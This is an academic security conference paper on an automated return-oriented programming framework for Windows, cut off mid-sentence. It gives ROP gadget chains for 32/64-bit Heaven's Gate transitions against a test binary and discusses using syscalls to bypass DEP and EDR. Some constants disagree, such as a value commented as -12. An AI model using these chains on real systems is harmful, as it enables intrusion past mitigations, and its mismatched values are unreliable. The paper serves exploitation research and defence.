

Advanced ROP Framework: Pushing ROP to Its Limits

DEFCON 31, 2023

Bramwell Brizendine¹, Shiva Shashank Kusuma¹

¹ University of Alabama in Huntsville, Huntsville, AL, USA

bramwell.brizendine@uah.edu



Abstract. ROP ROCKET is a cutting-edge ROP framework. This paper presents several novel ROP techniques, including distinct techniques for 32-bit to 64-bit and 64-bit to 32-bit Heaven’s Gate, novel techniques for utilizing Windows syscalls in ROP. The framework provides substantial automatic ROP chain construction, including chains for Heaven’s Gate, Windows syscalls ROP chains, and so-called “Shellcodeless” ROP, with multiple WinAPIs chained together. The framework utilizes emulation to be able to extend the attack surface, by being able to provide data for parts of ROP chains that could not otherwise be completed through automation. Emulation can also be used to evaluate each individual ROP gadget, to determine its fitness for usage, considering any constraints imposed by registers that must be protected from clobbering. ROP ROCKET provides a novel implementation of an algorithm to produce integer overflows for nearly any gadget that ordinarily could not be used due to so-called “bad bytes,” allowing them to be used via a special ROP gadget sequence, thereby further extending the attack surface for what is possible with ROP ROCKET.

Keywords: ROP, return-oriented Programming, Windows syscalls, Heaven’s Gate, automatic ROP chain generation, exploitation, emulation

1 Introduction

Return-oriented programming (ROP) is everywhere, omnipresent, capable of being weaponized to overcome even the fiercest of mitigations. It is at the heart and soul of exploitation. It has been found to be Turing-complete in countless architectures [1]. Yet one constant remains true: ROP itself has become somewhat predictable over the years. While new attacks utilizing vulnerabilities grow in sophistication, there is a lot of sameness to the mechanics of ROP itself, particularly in the Windows ecosystem. This research in part stems from years of prolonged efforts in another vastly less popular code-reuse attack, Jump-oriented Programming (JOP). Similar yet very different, JOP offers a unique way to bypass mitigations or to call WinAPIs. JOP invites an extreme flexibility and fluidity that is unmatched, and it is that passion for openness that led to trying to bring something new to ROP, while perhaps going beyond the limits of what had been previously been possible with ROP. And, in particular, the goal with this research is to create a powerful framework that can be a home for some of these novel methods. There is no better way for that to be accomplished than through automatic ROP chain generation. Finding ROP gadgets themselves is, in a sense, at this point a somewhat trivial task. What can be done with the GOD gadgets is what is of far greater importance and interest.

In 2019, Brizendine released the first and only tool dedicated to JOP, and subsequently it provided code automatic JOP chain generation, allowing DEP to be bypassed using VirtualAlloc and VirtualProtect[2–4]. Yet there have only been a handful of tools over the years that do the same for ROP. With respect specifically to Windows, they all just seem to create chains for VirtualAlloc and VirtualProtect. That would make some seem rather outdated, as mitigations for VirtualAlloc and VirtualProtect emerged in EMET 4.1 nearly a decade ago.

The scope of this work, like most academic research, is narrow: the Windows ecosystem. This permits us to home in and really excel at developing ROP in this environment. Thus, some very specialized work in this research may only be applicable to Windows, while others could be more easily adapted and applied elsewhere in a more universal sense.

With this research, the goal is simply not create another ROP chain generation for VirtualAlloc and VirtualProtect, but to dig deeper and come up with something completely novel in ROP, as used in the Windows ecosystem. To that end, we have developed several different and unrelated attacks, which can be created through automatic ROP chain generation. These include 1.) Heaven’s Gate ROP gadgets, allowing us to transition from 32-bit to 64-bit mode and vice versa, 2.) ROP utilizing Windows syscalls, allowing us to call upon powerful Windows Syscalls to bypass DEP, with

NtAllocateVirtualMemory and NtProtectVirtualMemory, 3.) “Shellcodeless ROP” – which is based on our work with shellcodeless JOP, and 4.) novel ROP chains using mov dereference or “snipe” gadgets, as opposed to the much beloved *pushad*, allowing for alternative means of utilizing more familiar WinAPIs, such as VirtualProtect. This mov dereference chain generation could provide a viable, quick and easy option, when the *pushad* counterpart is not as feasible. Of the above, we believe Heaven’s Gate ROP gadgets and syscall ROP are entirely novel. Shellcodeless ROP in Windows has been around for a while, but it is rare, as it takes a lot of effort and time to make. The mov dereference approach is hardly new, but until now it has never been part of automatic chain generation due to problems that likely could not have been overcome without the usage of emulation.

This framework provides several important contributions beyond automatic chain generation or novel ROP attacks. These lie in the utilization of emulation to greatly enhance ROP gadget construction, in multiple ways. With emulation, individual ROP gadgets can be evaluated to see if less desirable forms of a needed gadget can be utilized. Secondly, ROCKET provides an unprecedented “encoding”/“decoding” mechanism, that can allow for nearly any gadget address with null bytes in it to be used, regardless of the bad bytes. With this, the attack surface potentially can be expanded dramatically. As will be described in greater detail later, the approach employed by ROCKET is not new. However, the ability to automate it and virtually ensure success with every gadget is not an insignificant contribution.

ROP ROCKET makes several important, novel contributions to ROP. Not only have we redefined the overall capabilities of ROP itself in Windows ecosystem, but we have created a design science artifact [5] that can vastly reduce the manual labor required to create both advanced novel and existing ROP chains. Convenient solutions to problems when constructing a ROP chain and not being able to find the right gadget can be easily solved with ROCKET.

1.1 Contribution

In this paper, we present a novel ROP framework called ROP ROCKET, or Return-oriented Programming Reversing Open Cyber Knowledge Expert Tool. This paper makes several important contributions, with respect to novel ROP attacks. This includes separate Heaven’s Gate ROP attacks, allowing transitioning from x86 to x64 and x64 to x86. It provides a novel approach to utilizing Windows syscalls in ROP. For both of these novel attacks, we provide complete and reliable automatic ROP chain generation. With respect to Shellcodeless ROP, we provide automation for a complete attack utilizing multiple APIs and avoiding the need for DEP. ROP chain generation is provided for the first time ever for the mov dereference or “snipe” attack. Additionally, emulation allows us to evaluate each ROP gadget separately, if need be, as well as complete ROP chains, to solve problems in ROP chain generation, such as calculating distances to different pointers, or finding suitable but less desirable ROP gadgets, that otherwise could not be considered for ROP chain generation. Finally, ROCKET’s automation of robust “encoding” capabilities allow us to encode virtually any ROP gadget with an unsuitable virtual memory address, due to bad bytes, allowing them to be decoded at runtime, thereby causing the “forbidden” gadget to be executed without issue.

The rest of the paper is designed as follows. In section 2, we introduced the related work. In section 3, we present the novel contribution of Heaven’s Gate ROP and ROP utilizing Windows syscalls. In section 4, we present an overview of the ROP ROCKET framework itself, which includes its automatic ROP chain generation, its powerful emulation components, and finally its encoding capabilities. In section 5, we provide a validation. Finally, we discuss the framework’s contributions before concluding.

2 Related Works

Code-reuse attacks facilitate the bypassing otherwise very powerful mitigations. What first emerged was return-into-libc[6], whereby one could directly call a function with the necessary parameters. Subsequently, this would be refined and expanded into return-oriented programming (ROP) [6–9]. With ROP, there are disconnected chunks of executable code in memory, each ending in a *ret*, that can be strung together in a chain in order to do something more significant. Existing only in the virtual memory of a process, even highly complex actions can be performed with short borrowed chunks of executable code, each of which is called a ROP gadget. The chain, which consists of a sequence of gadgets, may allow an author to perform arbitrary computation, once EIP has been captured. With this approach, the attack can create a sequence of actions, which can be used to do something like undermine and subvert W^X . This can allow for Data Execution Prevention (DEP) to be bypassed, leading to the execution of shellcode. Nearly any advanced mitigation can be defeated by ROP.

Only a very small number of tools have provided for the automatic generation of ROP chains. Among these, the most well known and popular is the much praised Mona tool [10]. This is able to construct complete ROP chains for VirtualProtect and VirtualAlloc, by using a few determinate recipes for the ROP chains. Mona does this by trying to popular registers with their appropriate values or pointers to gadgets, so that once the *pushad* instruction is done, VirtualProtect or VirtualAlloc will be lined up with their appropriate return values and parameters, allowing them to be successful. Ropper[11] is another tool that is able to create a ROP chain for VirtualProtect in Windows, as well as *execve* and *mprotect* in Linux. Another, ROPC[12], is a proof-of-concept, Turing-complete ROP compiler, although it is not designed to be practical with actual real-world exploits. Additionally, ROPC has its own high-level language, ROPL. “Blind Return-Oriented Programming,” or Braille[13], is yet another, which allows a ROP chain to be developed on a network binary that contains a stack buffer overflow. One requirement is the binary must restart once it crashes. Braille allows for its limited BROOP attack to create a ROP chain, which can be used to transfer a binary over the network, allowing vulnerability research to be performed on it. Another is the similarly titled Roper[14], which is a genetic ROP chain compiler, utilizing genetic programming, to help automate ROP chain generation. Of the above, only Mona and Ropper are widely known.

While ROP has been very popular since its creation, there have been various other types of code-reuse attacks. Of these, the most popular is Jump-oriented Programming, or JOP. It has remained unpopular and not widely known. JOP can be broken down into three distinct varieties, the “Bring your own pop jump (BYOPJ)” method [15]. The second is the dispatcher gadget paradigm, with a dispatcher gadget and dispatch table [16]. Finally, a third method [17] involves control gadgets and “combinational gadgets,” although this could be seen as a variation on Bletsch’s dispatcher gadget method. In the academic literature, Erdödi [18] demonstrated in a JOP attack where a user was added to Windows. Lack of available tooling meant that JOP was all but completely ignored for many years, except for early on in the academic literature. Since then, the JOP ROCKET [19–21] was released, allowing for JOP gadgets to be easily found. Additionally, subsequent updates allowed for it to be able to create complete JOP chains to bypass DEP using VirtualAlloc and VirtualProtect, with an approach that emphasized stack pivoting [2–4]. Additionally, Brizendine has created the two-gadget dispatcher, allowing for the once restrictive JOP dispatcher gadget, which previously was rather obscure, to be easily made with much more common gadgets. That two-gadget dispatcher has not been added to JOP ROCKET.

Recent research [22] has concentrated on trying to debloat software, as bloated software can easily lend itself to code-reuse attacks. Therefore, reducing the attack surface through de-bloating software can help mitigate against both JOP and ROP.

3 Novel ROP Gadget Forms: Heaven’s Gate ROP Chains

In ROP, we could examine the purpose of different ROP chains. In the Windows ecosystem, many of these served to bypass DEP. Although there are various creative ways to do so, two methods have been to rely upon the usage of VirtualAlloc and VirtualProtect. VirtualAlloc can create a new region of memory with the desired memory permissions, while VirtualProtect can modify the existing memory permissions of a particular allocation. By doing these, we can achieve the desired RWX permissions. A frequent way of utilizing these API’s is to load registers with needed values, and then utilize the *pushad* instruction. This causes all the 32-bit general purpose x86 registers to be pushed onto the stack in a predefined order: *edi*, *esi*, *ebp*, *esp*, *ebx*, *ecx*, and *eax*, as can be seen in the figure below. These can also be thought of as slot 1, slot 2, slot 3, etc. Thus, slot one would be the first to appear after *pushad*, and what we wanted to be in slot 1 would need to be placed in *edi* at the time *pushad* is done. Each register can serve a particular purpose. For instance, one might hold the value for the third parameter of function or the return address. Another could be a *jmp dword ptr [ebx]* construction, while *ebx* may hold the address of a pointer to the desired WinAPI. The dereferenced jump then causes the WinAPI to be executed along with its return address and parameters. As these examples may illustrate with abundant clarity, each WinAPI that is to be called by utilizing what we may describe as the *pushad* technique follows a certain pattern. For each WinAPI, there may be one or multiple patterns for the WinAPI. From an automation standpoint, the *pushad* technique can be extremely effective, as we only need to cause certain registers to hold certain predefined values or gadget addresses, according to the pattern that we are following. While doing so, we must also prevent registers already populated with their required values from being clobbered. Once this has been achieved, we can then utilize the *pushad* instruction, causing the values to land on the stack in their predefined order. If the correct values or gadgets had been loaded into the appropriate registers, then it is likely the WinAPI would succeed. Or, in some cases a needed parameter value may be slightly off, and when adjusted to the correct value, the WinAPI would be successful.

Slot 1	Slot 2	Slot 3	Slot 4	Slot 5	Slot 7	Slot 7	Slot 8
edi	esi	ebp	esp	ebx	edx	ecx	eax

Fig. 1. The order of registers that appear on the stack after *pushad* is predictable and useful with automatic chain generation.

Utilizing *pushad* can be desirable from automation standpoint due to its potentially high success rate, if set up correctly. Using *pushad* with Heaven’s Gate would work well, if a pattern or patterns could be determined, so that once *pushad* was executed, then Heaven’s Gate would occur. Heaven’s Gate [23–26], as described, allows us to transition from 32-bit to 64-bit or vice versa. This can be achieved by changing the *cs* selector from 0x23 to 0x33, or vice versa. The conventional way this done is with a far call or a far jump. This occurs, for instance, in WoW64, when a Windows syscall is called internally by an NTDLL function that using an instruction such as *jmp 0033:774A7009*¹. The 0x33 specified as the *cs* selector for 64-bit. However, there are not indirect forms of the far jump or far call, so these can only be used with addresses established at compile time; they cannot be changed at runtime. There are not equivalent indirect far jumps, that are counterparts to *call edx* or *jmp edx*, such as *jmp 0x33:edx*. That is not valid Assembly. In malware, the conventional form of Heaven’s Gate has been to utilize a far return. This tends to follow a rather predictable pattern: *push 0x33 / call NextRetf / NextRetf: add [esp], 5 / retf*. What is happening is that the 0x33 for the *cs* selector is being pushed, followed by the destination address. However, a call is used to achieve this second “push,” as it pushes the address of the next instruction on the stack. This GetPC technique is used to self-locate where in memory an instruction is, often used in malware or shellcode. The next instruction, *add [esp], 5* modifies the destination to point to the location immediately after the *retf*, or far return. Ordinarily, the *retf* used in ROP without being properly set up would result in an access violation. In other words, immediately after these instructions, we will have switched to 64-bit mode from a 32-bit application. A vast majority of samples with Heaven’s Gate going from x86 to x64 follow this identical approach. This is so much so, that it may seem to some that it is required to do it this way or in an approach very similar. Actually, much greater flexibility is possible. The address being modified is the return address, or it could be thought of as the *destination* address. Rather than simply being the next instructions to follow after the transition, the destination can be any valid address in process memory.

With ROP it is not useful to have Heaven’s Gate try to reach the next address that follows immediately. After all, a ROP gadget such as the above is extremely improbable, and it would only be found if the original author were using Heaven’s Gate. Thus, if we are trying to build something equivalent, we do not have the luxury to have our destination immediately follow it, since we are using disconnected chunks of memory that may be very far apart. More to the point, there is no reason for the destination to immediately follow it. With ROP chain generation, for simplicity’s sake, the destination will be a *rop nop*, or just a single *ret* by itself that does nothing except advance *esp* to the next ROP gadget. In actual practice, we could make the return address simply be the next ROP gadget that would appear in our chain.

ROP does not permit us the luxury of using a GetPC gadget to self-locate, and even if we did, there is no actual reason to do so, as established above, as our destination can be any valid address. We cannot simply push 0x33 and push a random address, because the destination needs to be one we control. A *push r32 / ret* also causes that address to be immediately execute, similar to a *jmp*. Given the need to use the stack for control flow as well as to supply necessary parameters to functions we may wish to call, both *push* and *call* largely would seem unsuitable for performing a ROP Heaven’s Gate.

However, the aforementioned *pushad* can indeed come into play, as it pushes all register values onto the stack in a predefined order. We can therefore supply the needed 0x33 and destination address. In order for Heaven’s Gate to work, we must utilize *retf*, and at the time the *retf* is called, the top of the stack must be pointing to the destination address and the 0x33.

Several patterns are possible for the ROP Heaven’s Gate. Some of these involve loading the *retf* into a register and jumping to it, right before the 0x33 and destination address are aligned. Other gadgets can include ROP nops in the traditional form, the C3 form of *ret*, while others involve the C2 form, which is a *ret* followed by a number, causing execution to transfer to the next address specified on the stack while “cleaning up” the number of bytes specified. In other words, a *ret 0xc* or *ret 8* would allow us to skip over the *esp* value; the *esp* value is not as easy to control from an automation standpoint, so our preference is often to skip over it. Once the *pushad* instruction is used, one of the dozen different patterns will be used to set up the stack before executing the *retf*.

¹ While this is an actual example, of course it is to be reminded that ASLR will always be present with such an address, so this example should be regarded merely as hypothetical.

```

gList = [
    0x00401742, # (0x1742) pop edi # ret # rop_tester7.exe # \x5f\xc3
    0x00403fee, # ret 0xc
    0x00401744, # (0x1744) pop esi # ret # rop_tester7.exe # \x5e\xc3
    0x0040105c, # (0x105c) ret # rop_tester7.exe # \xc3
    0x00401086, # (0x1086) pop ebp # ret # rop_tester7.exe # \x5d\xc3
    0x0040105c, # (0x105c) ret # rop_tester7.exe # \xc3
    0x0040173c, # (0x173c) pop ebx # ret # rop_tester7.exe # \x5b\xc3
    0x0040ee65, # retf
    0x00401740, # (0x1740) pop edx # ret # rop_tester7.exe # \x5a\xc3
    0x004017fd, # (0x17fd) jmp ebx # rop_tester7.exe # \xff\xe3
    0x0040173e, # (0x173e) pop ecx # ret # rop_tester7.exe # \x59\xc3
    0x0040105c, # (0x105c) ret # rop_tester7.exe # \xc3
    0x0040173a, # (0x173a) pop eax # ret # rop_tester7.exe # \x58\xc3
    0x00000033,
    0x00401812, # (0x1812) pushad # ret # rop_tester7.exe # \x60\xc3
]

```

Fig. 2. A Python array for ROP gadgets to perform Heaven's Gate, transitioning from x86 to x64.

Edi	Esi	Ebp	Esp	Ebx	Edx	Ecx	Eax
Ret 0xc	Rop nop	Rop nop	Skip	Retf	Jmp [ebx]	Destination	0x33

Fig. 3. The order of gadgets after the *pushad* for the above ROP gadgets can be seen depicted in this table.

One pattern for the ROP Heaven's Gate, to transition from x86 to x64, can be seen in the figure above. The *ret 0xc* will cause the *ret* or *rop nop* in *esi* to be executed, while skipping over the *ret* in *ebp* along with whatever is in *esp*. *Edx* will hold a pointer to a *retf* gadget, which will be reached with a *jmp ebx*, which is contained in the *edx* register. After the *pushad*, once the *retf* is reached, the stack will have the destination and the 0x33 selector. The stack both immediately before and after the execution of the *retf* can be seen in the figure below.

0040ee65 cb	retf	00000000 0040105c c3	ret
0:000:x86> dd esp		0:000> dd esp	
0018f820 0040105c 00000033 004014ea 00000000		00000000 0018f828 004014ea 00000000 0040173a 00000000	

Fig. 4. The destination and 0x33 selector appear on the stack before the *retf*, as seen to the left. After the *retf*, we have switched to 64-bit mode, and they are gone from the stack.

The next variant out of the dozen patterns produced for *ROP ROCKET* could be regarded as perhaps one of the simplest of the ROP Heaven's Gate patterns, as we require only a series of *rop nop* gadgets in the form of a single *ret*, alongside the *retf* as seen in the figure below. A *pop r32* gadget is used to consume the value of *esp*. Once the *retf* is reached, the stack is already perfectly aligned and ready for the Heaven's Gate.

```

gList = [
    0x00401742, # (0x1742) pop edi # ret # rop_tester7.exe # \x5f\xc3
    0x0040105c, # (0x105c) ret # rop_tester7.exe # \xc3
    0x00401744, # (0x1744) pop esi # ret # rop_tester7.exe # \x5e\xc3
    0x0040105c, # (0x105c) ret # rop_tester7.exe # \xc3
    0x00401086, # (0x1086) pop ebp # ret # rop_tester7.exe # \x5d\xc3
    0x00401086, # (0x1086) pop ebp # ret # rop_tester7.exe # \x5d\xc3
    0x0040173c, # (0x173c) pop ebx # ret # rop_tester7.exe # \x5b\xc3
    0x0040105c, # (0x105c) ret # rop_tester7.exe # \xc3
]

```

```

0x00401740, # (0x1740) pop edx # ret # rop_tester7.exe # \x5a\xc3
0x0040ee65, # retf
0x0040173e, # (0x173e) pop ecx # ret # rop_tester7.exe # \x59\xc3
0x0040105c, # (0x105c) ret # rop_tester7.exe # \xc3 ### destination
0x0040173a, # (0x173a) pop eax # ret # rop_tester7.exe # \x58\xc3
0x00000033,
0x00401812, # (0x1812) pushad # ret # rop_tester7.exe # \x60\xc3
]

```

Fig. 5. A simple, direct pattern for the ROP Heaven's Gate.

Edi	Esi	Ebp	Esp	Ebx	Edx	Ecx	Eax
Rop nop	Rop nop	Rop nop	Skip	Rop nop	Retf	Destination	0x33

Fig. 6. The order of gadgets after the *pushad* for the above ROP gadgets can be seen depicted in this table.

With Heaven's gate, we only need to set up the *retf*, and then make sure the stack has the destination address along with the 0x33 for the selector. These are not extravagant requirements, and as such, this lends itself to a number of different patterns, which can be seen in the figure below. Additionally, many similar variations of pattern 11 are possible.

Register	Pattern 1	Pattern 2	Pattern 3	Pattern 4	Pattern 5	Pattern 6	Pattern 7	Pattern 8	Pattern 9	Pattern 10	Pattern 11
EAX	Rop nop	Rop nop	Rop nop	CS 0x33	CS 0x33	CS 0x33	CS 0x33	CS 0x33	CS 0x33	CS 0x33	CS 0x33
ECX	CS 0x33	CS 0x33	CS 0x33	Destination address	Destination address	Destination address	Destination address	Destination address	Destination address	Destination address	Destination address
ESP	Skip	Skip	Skip	Skip	Skip	Skip	Skip	Skip	Skip	Skip	Skip
EDI	RET 8	RET 8	ADD ESP, 0xC	ADD ESP, 0xC	ADD ESP, 0xC	ADD ESP, 0x10	RET 0xC	RET 0xC	Pop	RET 0xC	Rop nop
ESI	Rop nop	Rop nop	Rop nop	RETF	Rop nop	Rop nop	Rop nop	Rop nop	RETF	Rop nop	Rop nop
EBP	RETF	RETF	RETF	Rop nop	RETF	Rop nop	Rop nop	RETF	Pop	Rop nop	Pop
EBX	Jmp EBP	Jmp EBP	Jmp EBP	Rop nop	Rop nop	RETF	RETF	Rop nop	Rop nop	Rop nop	Rop nop
EDX	Destination address	Destination address	Destination address	Jmp ESI	Jmp EBP	Jmp EBX	Jmp EBX	Jmp EBP	Jmp EDI	RETF	RETF

Fig. 7. The patterns for the x86-to-x64 ROP Heaven's Gate, using the *pushad* technique, are shown above.

The simplicity of the patterns for Heaven's Gate to transition to 64-bit mode means that there should always be required gadgets for this to occur; none of the needed gadgets are obscure. However, transitioning from x64 to x86 is not as "easy" from a ROP standpoint, in terms of all the possible available gadgets. It is likely to be possible in most medium-sized or larger binaries, but in some smaller binaries, there possibly could be insufficient gadgets. It is important to point out again at this stage that Heaven's Gate in ROP really is only useful if you are transitioning from 32-bit to 64-bit mode. This can allow you to potentially expand the attack surface, and it also makes available easier access to certain important structures. The advantage of doing Heaven's Gate from x64 to x86 in an 64-bit binary is unclear. Thus, we will assume that the typical use case for this 64-bit to 32-bit transition is one that is returning back to a 32-bit WoW64 application. The familiar *pushad*, which provided for a dozen patterns (to which we could easily add similar but different variations), is not available, as that instruction does not exist in x64. If one attempts to use *pushad* in x86, you will only see a ?? at the opcode 60, which is for the x86 *pushad*.

Given the non-appearance of *pushad* in x64, the most viable option to build such a chain is through a series of *mov* dereference or "snipe" gadgets, allowing you to write to a location in memory and then adjust *rsp*. From an automation standpoint, this is more desirable, rather than looking for a gadget such as *push rxx / retf*, which could be regarded as a more obscure gadget less likely to be found. Note that that gadget would require only a single push, as we would follow supply the destination (or return) address and the 0x23 selector (to go to x86) in the form of dwords (double words), rather than qwords (quad words), which would typically be used in x64. If we were to find a comparable *retf* gadget in x86, it would need to consist of two dwords, as the size of the contents of a *push* is a dword in x86, whereas it is a qword in x64. For this to work, a *mov* dereference or "snipe" gadget is required, though it could be set up to use the form of *xor dword ptr [rbx], eax*, *add dword ptr [rbx], eax*, *sub dword ptr [rbx], eax*, or *pop dword ptr [rbx]*. These other possibilities are less plentiful, so only the *mov* dereference form is presently supported via automatic ROP chain generation. Another

peculiar problem that exists for Heaven's Gate is the lack of availability of the *inc* instruction, e.g. *inc rax*. This is usually the go-to gadget to use with a "snipe" gadget. The typical approach with "snipe" gadgets is to transfer *rsp* or some area of memory that is writable to another register, and then to populate it with needed values or addresses. Once that is done, then a stack pivot occurs, and then the WinAPI immediately begins, or in this case, the Heaven's Gate. With x64, the opcodes for *inc* are different than x86, and gadgets that would have been *inc* are changed to instructions of no value for ROP, such as *rex*.

In our experience, the number of *inc* gadgets may be minimal, and it may include longer specimens of a less desirable form. Thus, from an automation standpoint, it is perhaps best to avoid usages of the *inc* gadget for this purpose, and instead to use a gadget of the form *add ebx, eax*. In this case, *ebx* would point to the memory we control, and *eax* would be the value that would be written to that location. Note that it is of form *add r32, r32*, which will be what is most plentiful when doing a Heaven's Gate, so we will only overwrite half of the normal qword size of what a x64 ROP gadget address is. This requires us add only 4, rather than 8. Thus, we can only write half of our address for the *retf* - the part with nonzero values. The goal here is to write the address of a *retf* gadget as a qword, followed by two dwords of the 0x23 selector followed by the destination address. Once this has been done, then the register pointing to our Heaven's Gate gadgets must be realigned to point to the *retf*. In general, *sub* or *sbb* gadgets are far less common in ROP than *add*, so we chose to utilize a negative value, 0xFFFFFFFFFFFF4, which is equivalent to adding -12 (base 10), which allows the register under our control to be made to now point to the *retf*. Then a stack pivot gadget can get used, pivoting to the *retf*, with dwords of the destination address and 0x23 to follow immediately on the stack, as can be seen in the figure below.

Fig. 8. The stack can be seen before a ROP Heaven's Gate from x64 to x86 on the left. The result of the Heaven's Gate gadget can be seen to the right.

Heaven's Gate in its more conventional form has been well-documented, and it is indeed the case that only one debugger that we are aware of supports viewing of Heaven's Gate, which is the x64 WinDbg. It is generally best to attach to an existing process with the x64 WinDbg, and it does not matter if it is a 32-bit application. Once, it reaches the x86 code, it will have switched to 32-bit mode, with registers changing to their 32-bit counterparts and 64-bit registers disappearing. Once Heaven's Gate occurs in x64 WinDbg, the registers and disassembly will change, whether going from 64 to 32-bit mode, or vice versa. If Heaven's Gate occurs in another debugger, including the x86 WinDbg, then any Heaven's Gate transition or resulting activity will not be able to viewed and it will be skipped over; other unusual behavior is possible. For a most accurate view of what is happening with Heaven's Gate, only the x64 WinDbg should be used. Thus, when attempting Heaven's Gate ROP it is required to utilize the x64 WinDbg in the manner described.

A functional Heaven's Gate from x64 to x86 is provided below; the application in question is a 32-bit Windows application. Note that each gadget address is written as a qword, although it is not necessary to include it in as a qword with an additional dword of 0's. That extra dword of 0's will be added by the code subsequently; it is implied that it is present in the code below. For the negative number used for addition, the qword form is required, as converting it to a dword would merely truncate it and change it to a very large positive number, rather than the small negative value that is sought.

```
gListQ=[
  0x004014ea, # (0x14ea) mov ebx, esp # ret # rop_tester7.exe # \x8b\xdc\xc3
  0x0040173a, # (0x173a) pop rax # ret # rop_tester7.exe # \x58\xc3
  0x00000250,
  0x00401781, # (0x1781) add ebx, eax # ret # rop_tester7.exe # \x03\xd8\xc3

  0x0040173a, # (0x173a) pop rax # ret # rop_tester7.exe # \x58\xc3
  0x0040ee65, # retf
  0x004015eb, # (0x15eb) mov dword ptr [rbx], eax # ret # rop_tester7.exe #
\x89\x03\xc3

  0x0040173a, # (0x173a) pop rax # ret # rop_tester7.exe # \x58\xc3
  0x00000004, # distance of 4
```

8

```

0x00401781, # (0x1781) add ebx, eax # ret # rop_tester7.exe # \x03\xd8\xc3

0x0040135e, # (0x135e) xor eax, eax # ret # rop_tester7.exe # \x33\xc0\xc3
0x004015eb, # (0x15eb) mov dword ptr [rbx], eax # ret # rop_tester7.exe #
\x89\x03\xc3

0x0040173a, # (0x173a) pop rax # ret # rop_tester7.exe # \x58\xc3
0x00000004, # distance of 4
0x00401781, # (0x1781) add ebx, eax # ret # rop_tester7.exe # \x03\xd8\xc3

0x0040173a, # (0x173a) pop rax # ret # rop_tester7.exe # \x58\xc3
0x0040105c, # (0x105c) ret # rop_tester7.exe # \xc3 ### DESTINATION ROP NOP
0x004015eb, # (0x15eb) mov dword ptr [rbx], eax # ret # rop_tester7.exe #
\x89\x03\xc3

0x0040173a, # (0x173a) pop rax # ret # rop_tester7.exe # \x58\xc3
0x00000004, # distance of 4
0x00401781, # (0x1781) add ebx, eax # ret # rop_tester7.exe # \x03\xd8\xc3

0x0040173a, # (0x173a) pop rax # ret # rop_tester7.exe # \x58\xc3
0x00000023,
0x004015eb, # (0x15eb) mov dword ptr [rbx], eax # ret # rop_tester7.exe #
\x89\x03\xc3

0x0040173a, # (0x173a) pop rax # ret # rop_tester7.exe # \x58\xc3
0xFFFFFFFFFFFFFFFF, # -12 (base10)
0x00401781, # (0x1781) add ebx, eax # ret # rop_tester7.exe # \x03\xd8\xc3
0x004018a2, # (0x18a2) xchg ebx, esp # ret # rop_tester7.exe # \x87\xe3\xc3

]

```

Fig. 9. Sample code for transitioning from x64 to x32 via Heaven’s Gate in a 32-bit application

Heaven’s Gate from x64 to x86 will not be possible in 32-bit applications with null byte restrictions, even with our *push r32 / ret* trick, or a 64-bit counterpart. While we can transition from x86 to x64 with Heaven’s Gate, even if there are null byte restrictions, that inverse is not true, as when we supply qwords for the x64 gadgets, as seen above, they will have a minimum of four null bytes on the left hand side. 0x00401781, as seen above, is actually 0x0000000000401781, and any gadgets used to obfuscate it for x64 similarly would have those null bytes present. Likely, a Heaven’s Gate usage where one cannot get back to x86 would not be of practical value. However, there are vulnerabilities where a null byte is not an issue. Another important consideration is payload size, as performing two Heaven’s Gate – one with qwords, which are twice the size as dwords – would consume a lot of bytes, so a vulnerability where the payload is more limited in size may not be well-suited, as there may be inadequate space remaining for other ROP operations.

ROP ROCKET is able to produce ROP gadget chains for both forms of Heaven’s Gate. With respect to the Heaven’s Gate gadget to transition from x86 to x64 via *pushad*, there are a dozen patterns. This allows for the attack surface to be expanded, and for valuable structures to potentially be more accessible. For some binaries, there may not be a practical point to do Heaven’s Gate, as there may not be much more in the way of “new” x64 gadgets that differ markedly from their x86 counterparts. Likely, larger binaries will be more likely to be fruitful, but whether or not it is useful can only be decided on a case by case basis. Doing Heaven’s Gate may grant access more easily to the TEB64, if the r12 register is accessible in any x64 gadget. From this, we could eventually get to offset 0xc0 of the TEB32, which would allow us to make Windows syscalls, as described elsewhere. This is a more roundabout and less optimal way of doing so, as it is a lot more work.

4 Novel ROP Gadget Forms: Windows Syscall ROP Chains

In Windows, one of the goals of exploitation may be to capture EIP and cause shellcode to be executed. The shellcode can provide for arbitrary computation, with limitless possibilities. Data Execution Prevention or DEP can be used to prevent memory from being RWX; that is, it should be readable and writeable or executable, but not all the above. However, there are a number of ways to overcome this. That includes WinAPI functions such as `VirtualAlloc` or `VirtualProtect` or even deeper NTDLL counterparts, `NtAllocateVirtualMemory` or `NtProtectVirtualMemory`, which are called by their Kernel32 counterparts. With `VirtualAlloc`, we can create a new region of memory with RWX permissions, and with `VirtualProtect`, we can change an existing one to RWX. Thus, overcoming DEP need not be exceedingly difficult, as we can use ROP to set up calls to these functions for the desired effects. The problem is that these are well known APIs, and they may be detected by mitigations or EDR. EMET 4.1 first detected `VirtualAlloc` and `VirtualProtect` nearly a decade ago [27], and while it was discontinued, some of its functionality and more is now baked into Windows. Thus, while you can use `VirtualAlloc` or `VirtualProtect` in a system where protection is poor, such as an older Windows 7 system, a better defended system will be more secure and may thwart it. However, there can be various other techniques that can be used, which are outside the scope of this paper.

Rather than using these functions or their deeper NTDLL versions, why not instead use the actual Windows syscalls that would be called by those corresponding functions? We are not aware of these having been used in ROP previously, though certainly their NTDLL counterparts, of the same name, have been. That is a fairly significant distinction, as those come from NTDLL.DLL, whereas Windows syscalls can be utilized without the need for a pointer address to the corresponding NTDLL function. More importantly, it is significantly more difficult for Windows syscalls to be detected and mitigated against. Their usage in ROP is also more challenging and one which, until now, has not to our knowledge ever been documented.

Until fairly recently, Windows syscalls were seldom used offensively. They were well known as being used in the form of an Egghunter, a small miniature shellcode whose only purpose is to check if memory is valid, using a Windows syscall, and then if it is, look for a certain tag. If it is not, it continues looking. If the tag is found, such as “w00tw00t”, then control flow can be redirected there. Otherwise, it was occasionally used in malware and elsewhere. However, in 2018 there was sharp uptick Windows syscall usage in malware [28]. This later inspired and led to a large variety of techniques utilizing Windows syscalls to be developed, such as `SysWhispers` [29] and Manuel León AKA ElephantSe4l’s `FreshyCalls` [30, 31]. Manuel’s sorting by address technique was utilized in `SysWhispers2` and `SysWhispers3`. `Hell’s Gate` [32] was an important technique, as was `Reenz0h’s Halo’s Gate` [33], which weaponized the sorting by address technique to overcome mitigations that would otherwise prevent `Hell’s Gate` from working in some cases. Many of those techniques focused on different ways to determine SSNs or syscall system service numbers at runtime, their focus was on utilizing them as a way to extend the functionality of Windows syscalls to software projects. That is to say, they helped individuals writing code in higher-level languages to be able to make use of direct Windows syscalls in their projects. These have been extremely trendy in the red team community. `ShellWasp` [34–36] is a framework for using Windows syscalls in WoW64 